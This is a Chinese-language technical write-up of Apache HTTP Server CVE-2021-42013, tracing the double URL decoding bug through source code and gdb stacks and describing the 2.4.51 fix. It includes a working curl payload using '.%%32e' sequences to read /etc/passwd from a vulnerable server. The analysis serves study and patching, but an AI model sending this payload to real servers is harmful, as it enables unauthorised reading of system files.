Apache-Http-Server CVE-2021-42013

Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:

scss 复制代码
/* This is the master logic for processing requests.  Do NOT duplicate
 * this logic elsewhere, or the security model will be broken by future
 * API changes.  Each phase must be individually optimized to pick up
 * redundant/duplicate calls by subrequests, and redirects.
 */
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
    ......
    if (r->parsed_uri.path) {
        /* Normalize: remove /./ and shrink /../ segments, plus
         * decode unreserved chars (first time only to avoid
         * double decoding after ap_unescape_url() below).
         */
        if (!ap_normalize_path(r->parsed_uri.path,
                               normalize_flags |
                               AP_NORMALIZE_DECODE_UNRESERVED)) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
                          "invalid URI path (%s)", r->unparsed_uri);
            return HTTP_BAD_REQUEST;
        }
    }
    ......
    /* Ignore URL unescaping for translated URIs already */
    if (access_status != DONE && r->parsed_uri.path) {
        core_dir_config *d = ap_get_core_module_config(r->per_dir_config);
        if (d->allow_encoded_slashes) {
            access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
                                                   d->decode_encoded_slashes);
        }
        else {
            access_status = ap_unescape_url(r->parsed_uri.path);
        }
        if (access_status) {
            if (access_status == HTTP_NOT_FOUND) {
                if (! d->allow_encoded_slashes) {
                    ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
                                  "found %%2f (encoded '/') in URI path (%s), "
                                  "returning 404", r->unparsed_uri);
                }
            }
            return access_status;
        }

ap_normalize_path函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd:

less 复制代码
#0  ap_normalize_path (path=0x7f32740916a0 "/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd", flags=flags@entry=14) at util.c:508
#1  0x000055b354ea81c5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:209
#2  0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#3  0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#4  ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#5  0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#6  0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>) at event.c:1052
#7  0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#8  0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#9  0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

ap_unescape_url函数实际会调用unescape_url函数,调用栈如下:

less 复制代码
#0  unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
#1  0x000055b354e8ea3e in ap_unescape_url (url=<optimized out>) at util.c:1949
#2  0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
#3  0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#4  0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#5  ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#6  0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#7  0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>) at event.c:1052
#8  0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#9  0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#10 0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

经过unescape_url函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd

less 复制代码
(gdb) fin
Run till exit from #0  unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
250 request.c: No such file or directory.
Value returned is $1 = 0
(gdb) x/s 0x7f32740916a0
0x7f32740916a0: "/icons/../../../../etc/passwd"

漏洞触发&利用

payload如下:

bash 复制代码
curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

漏洞修复

2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过,修复代码如下:

scss 复制代码
while (path[l] != '\0') {
    /* RFC-3986 section 2.3:
        *  For consistency, percent-encoded octets in the ranges of
        *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
        *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
        *  be decoded to their corresponding unreserved characters by
        *  URI normalizers.
        */
    if (decode_unreserved && path[l] == '%') {
        if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (TEST_CHAR(c, T_URI_UNRESERVED)) {
                /* Replace last char and fall through as the current
                    * read position */
                l += 2;
                path[l] = c;
            }
        }
        else {
            /* Invalid encoding */
            ret = 0;
        }
    }
相关推荐
WLJT123123123几秒前
品质配件与专业维保筑牢安全发展根基
大数据·人工智能·科技·安全·生活
金士镧(厦门)新材料有限公司11 分钟前
稀土抑烟剂:生活中的“隐形安全屏障”
科技·安全·全文检索·生活·能源
lpfasd12311 分钟前
Nacos 实战指南:构建安全、高可用的微服务注册与配置中心
安全·微服务·架构
txinyu的博客26 分钟前
unique_ptr shared_ptr weak_ptr的线程安全问题
c++·安全
信安成长日记27 分钟前
会创建Pod的资源
安全
●VON1 小时前
使用 OpenAgents 搭建基于智谱 GLM 的本地智能体(Agent)
学习·安全·制造·智能体·von
智驱力人工智能1 小时前
矿场轨道异物AI监测系统 构建矿山运输安全的智能感知防线 轨道异物检测 基于YOLO的轨道异物识别算法 地铁隧道轨道异物实时预警技术
人工智能·opencv·算法·安全·yolo·边缘计算
深圳市恒讯科技1 小时前
常见服务器漏洞及防护方法
服务器·网络·安全
m0_738120721 小时前
应急响应——知攻善防蓝队溯源靶机Linux-2详细流程
linux·服务器·网络·安全·web安全·php
能年玲奈喝榴莲牛奶1 小时前
安全服务-渗透测试服务
安全·web安全·网络安全服务